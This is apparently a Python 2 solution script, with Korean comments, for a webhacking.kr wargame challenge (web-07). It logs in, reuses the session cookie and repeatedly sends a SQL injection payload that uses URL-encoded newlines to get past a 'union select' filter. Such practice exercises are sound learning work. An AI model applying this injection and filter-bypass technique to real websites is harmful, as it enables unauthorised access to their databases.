import urllib,urllib2
# -*- coding: euc-kr -*-
form = urllib.urlencode({'id':'?????','pw':'?????'})
req = urllib2.Request('http://webhacking.kr',form)
res = urllib2.urlopen(req)
session = res.headers.get('set-cookie') #여기까지는 항상 똑같은 세션얻어오는 코드.
while 1:
req = urllib2.Request('http://webhacking.kr/challenge/web/web-07/index.php?val=0)%0aunion%0aselect%0a(3-1') #계속 요청을 보내면서
req.add_header('cookie',session) #내 계정정보 추가.
res = urllib2.urlopen(req)
reads = res.read()
if reads.find('nice try!') == -1: #읽어온 페이지에서 nice try!가 없으면 성공
print reads #없으면 해당 내용을 출력함.
break